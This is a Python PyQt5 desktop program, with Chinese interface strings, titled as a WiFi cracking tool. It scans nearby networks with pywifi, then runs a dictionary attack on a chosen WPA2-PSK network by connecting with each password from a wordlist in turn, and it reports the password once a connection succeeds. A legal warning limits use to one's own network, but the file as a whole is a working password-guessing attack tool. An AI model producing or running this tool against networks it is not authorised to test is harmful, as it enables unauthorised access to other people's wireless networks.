import sys
import os
import time
from PyQt5.QtWidgets import (
    QApplication, QMainWindow, QPushButton, QVBoxLayout, QWidget,
    QLabel, QTextBrowser, QFileDialog, QProgressBar,
    QComboBox, QMessageBox, QLineEdit, QHBoxLayout
)
from PyQt5.QtCore import QThread, pyqtSignal, QTimer
from datetime import datetime
import pywifi
from pywifi import const


class DragDropLineEdit(QLineEdit):
    def __init__(self, parent=None):
        super().__init__(parent)
        self.setAcceptDrops(True)

    def dragEnterEvent(self, event):
        if event.mimeData().hasUrls():
            event.accept()
        else:
            event.ignore()

    def dropEvent(self, event):
        if event.mimeData().hasUrls():
            file_path = event.mimeData().urls()[0].toLocalFile()
            if os.path.isfile(file_path):
                self.setText(file_path)
            else:
                event.ignore()
        else:
            event.ignore()


class CrackThread(QThread):
    update_progress = pyqtSignal(int)
    update_log = pyqtSignal(str)
    success_signal = pyqtSignal(str)

    def __init__(self, wifi_name, dictionary_path, iface):
        super(CrackThread, self).__init__()
        self.wifi_name = wifi_name
        self.dictionary_path = dictionary_path
        self.iface = iface
        self.running = True

    def emit_log_with_time(self, message):
        timestamp = datetime.now().strftime("[%Y-%m-%d %H:%M:%S]")
        self.update_log.emit(f"{timestamp} {message}")

    def run(self):
        if not os.path.exists(self.dictionary_path):
            self.emit_log_with_time("[!] 密碼字典文件不存在！")
            return

        self.emit_log_with_time("開(kāi)始破解...")
        with open(self.dictionary_path, "r", encoding="utf-8") as file:
            passwords = file.readlines(1000)  # 每次讀取1000行

        total_passwords = len(passwords)
        for idx, password in enumerate(passwords):
            if not self.running:
                self.emit_log_with_time("[!] 破解已停止。")
                break

            password = password.strip()  # 去除多余空格和換行符
            self.emit_log_with_time(f"[-] 測(cè)試密碼: {password}")
            if self.wifi_connect(password):
                self.emit_log_with_time(f"[+] 成功連接！密碼：{password}")
                self.success_signal.emit(password)
                self.update_progress.emit(100)
                return

            self.update_progress.emit(int((idx + 1) / total_passwords * 100))

        self.emit_log_with_time("[!] 破解失敗，嘗試其他字典文件。")

    def wifi_connect(self, pwd):
        try:
            # 創(chuàng)建WiFi配置文件
            profile = pywifi.Profile()
            profile.ssid = self.wifi_name
            profile.auth = const.AUTH_ALG_OPEN
            profile.akm.append(const.AKM_TYPE_WPA2PSK)
            profile.cipher = const.CIPHER_TYPE_CCMP
            profile.key = pwd

            # 清除所有配置文件
            self.iface.remove_all_network_profiles()
            tep_profile = self.iface.add_network_profile(profile)

            # 連接WiFi
            self.iface.connect(tep_profile)
            start_time = time.time()

            # 等待連接結(jié)果
            while time.time() - start_time < 5:  # 延長(zhǎng)等待時(shí)間到5秒
                status = self.iface.status()
                if status == const.IFACE_CONNECTED:
                    self.iface.disconnect()  # 連接成功后斷開(kāi)，避免干擾后續(xù)操作
                    return True
                elif status == const.IFACE_DISCONNECTED:
                    time.sleep(1)  # 給網(wǎng)卡足夠時(shí)間反應(yīng)

            self.iface.disconnect()  # 確保清理狀態(tài)
            return False
        except Exception as e:
            self.emit_log_with_time(f"[!] 連接時(shí)發(fā)生錯(cuò)誤: {e}")
            return False

    def stop(self):
        self.running = False


class WiFiCrackerUI(QMainWindow):
    def __init__(self):
        super().__init__()
        self.initUI()
        self.thread = None

    def initUI(self):
        self.setWindowTitle("WiFi破解工具")
        self.setGeometry(100, 100, 378, 532)
        self.set_ui_styles()
        self.show_legal_warning()

        layout = QVBoxLayout()

        self.interface_label = QLabel("選擇無(wú)線(xiàn)網(wǎng)卡接口:")
        self.interface_list = QComboBox()
        self.refresh_interface_list()
        layout.addWidget(self.interface_label)
        layout.addWidget(self.interface_list)

        wifi_layout = QHBoxLayout()
        self.wifi_label = QLabel("WiFi 名稱(chēng):")
        self.wifi_list = QComboBox()
        self.refresh_wifi_button = QPushButton("刷新列表")
        self.refresh_wifi_button.clicked.connect(self.refresh_wifi_list)
        wifi_layout.addWidget(self.wifi_label)
        wifi_layout.addWidget(self.wifi_list)
        wifi_layout.addWidget(self.refresh_wifi_button)
        layout.addLayout(wifi_layout)

        self.path_label = QLabel("密碼字典路徑:")
        self.path_input = DragDropLineEdit()
        self.browse_button = QPushButton("選擇字典文件(.txt)")
        self.browse_button.clicked.connect(self.browse_file)
        layout.addWidget(self.path_label)
        layout.addWidget(self.path_input)
        layout.addWidget(self.browse_button)

        self.log_browser = QTextBrowser()
        layout.addWidget(self.log_browser)

        self.progress_bar = QProgressBar()
        layout.addWidget(self.progress_bar)

        self.start_button = QPushButton("開(kāi)始破解")
        self.start_button.clicked.connect(self.start_cracking)
        self.stop_button = QPushButton("停止破解")
        self.stop_button.clicked.connect(self.stop_cracking)
        layout.addWidget(self.start_button)
        layout.addWidget(self.stop_button)

        container = QWidget()
        container.setLayout(layout)
        self.setCentralWidget(container)

        self.refresh_wifi_list()

    def set_ui_styles(self):
        self.setStyleSheet("""
            QPushButton {
                background-color: #4CAF50;
                color: white;
                border-radius: 5px;
                padding: 10px;
            }
            QPushButton:hover {
                background-color: #45a049;
            }
            QProgressBar {
                border: 2px solid #4CAF50;
                border-radius: 5px;
                text-align: center;
            }
            QTextBrowser {
                background-color: #f5f5f5;
                font-family: "Courier New";
                border-radius: 5px;
            }
        """)

    def show_legal_warning(self):
        reply = QMessageBox.warning(
            self,
            "合法性警告",
            "本工具僅供測(cè)試自己網(wǎng)絡(luò)的安全性，禁止用于非法用途！\n"
            "使用本工具即表示您同意對(duì)所有行為自行負(fù)責(zé)。",
            QMessageBox.Ok | QMessageBox.Cancel,
        )
        if reply == QMessageBox.Cancel:
            self.close()  # 如果用戶(hù)選擇取消，退出程序

    def load_translations(self, language_code="en"):
        translator = QTranslator()
        if language_code == "zh":
            translator.load(":/translations/zh_CN.qm")
        else:
            translator.load(":/translations/en_US.qm")
        app.installTranslator(translator)

    def refresh_interface_list(self):
        wifi = pywifi.PyWiFi()
        self.interface_list.clear()
        for iface in wifi.interfaces():
            self.interface_list.addItem(iface.name())

    def refresh_wifi_list(self):
        self.wifi_list.clear()
        iface_name = self.interface_list.currentText()
        if not iface_name:
            self.log_browser.append("[!] 請(qǐng)先選擇 Wi-Fi 接口！")
            return

        try:
            wifi = pywifi.PyWiFi()
            iface = next(iface for iface in wifi.interfaces() if iface.name() == iface_name)
            iface.scan()
            self.log_browser.append("[+] 網(wǎng)絡(luò)掃描開(kāi)始...")
            QTimer.singleShot(2000, self.on_scan_complete)  # 2秒后回調(diào)掃描結(jié)果
        except Exception as e:
            self.log_browser.append(f"[!] 刷新 Wi-Fi 列表時(shí)出錯(cuò): {e}")

    def on_scan_complete(self):
        iface_name = self.interface_list.currentText()
        wifi = pywifi.PyWiFi()
        iface = next(iface for iface in wifi.interfaces() if iface.name() == iface_name)
        results = iface.scan_results()
        seen_ssids = set()
        for network in results:
            ssid = network.ssid.encode('raw_unicode_escape').decode('utf-8', 'ignore')
            if ssid and ssid not in seen_ssids:
                self.wifi_list.addItem(ssid)
                seen_ssids.add(ssid)
        self.log_browser.append("[+] Wi-Fi 列表刷新完成。")

    def browse_file(self):
        file_path, _ = QFileDialog.getOpenFileName(self, "選擇密碼字典文件", "", "文本文件 (*.txt)")
        if file_path:
            if not file_path.endswith('.txt'):
                self.log_browser.append("[!] 請(qǐng)選擇一個(gè)有效的文本文件！")
                return
            self.path_input.setText(file_path)

    def start_cracking(self):
        if self.thread and self.thread.isRunning():
            self.log_browser.append("[!] 破解已經(jīng)在運(yùn)行中，請(qǐng)等待完成。")
            return

        wifi_name = self.wifi_list.currentText().strip()
        dictionary_path = self.path_input.text().strip()

        if not wifi_name or not dictionary_path:
            self.log_browser.append("[!] 請(qǐng)?zhí)顚?xiě)完整信息！")
            return

        try:
            wifi = pywifi.PyWiFi()
            iface = next(iface for iface in wifi.interfaces() if iface.name() == self.interface_list.currentText())
            iface.disconnect()
            time.sleep(1)
            if iface.status() != const.IFACE_DISCONNECTED:
                self.log_browser.append("[!] 無(wú)法斷開(kāi)當(dāng)前連接。")
                return
        except Exception as e:
            self.log_browser.append(f"[!] 無(wú)法初始化無(wú)線(xiàn)網(wǎng)卡: {e}")
            return

        self.thread = CrackThread(wifi_name, dictionary_path, iface)
        self.thread.update_log.connect(self.log_browser.append)
        self.thread.update_progress.connect(self.progress_bar.setValue)
        self.thread.success_signal.connect(self.show_success_message)
        self.thread.start()

    def stop_cracking(self):
        if self.thread and self.thread.isRunning():
            self.thread.stop()

    def show_success_message(self, password):
        QMessageBox.information(self, "破解成功", f"Wi-Fi 密碼是: {password}")


if __name__ == "__main__":
    app = QApplication(sys.argv)
    window = WiFiCrackerUI()
    window.show()
    sys.exit(app.exec_())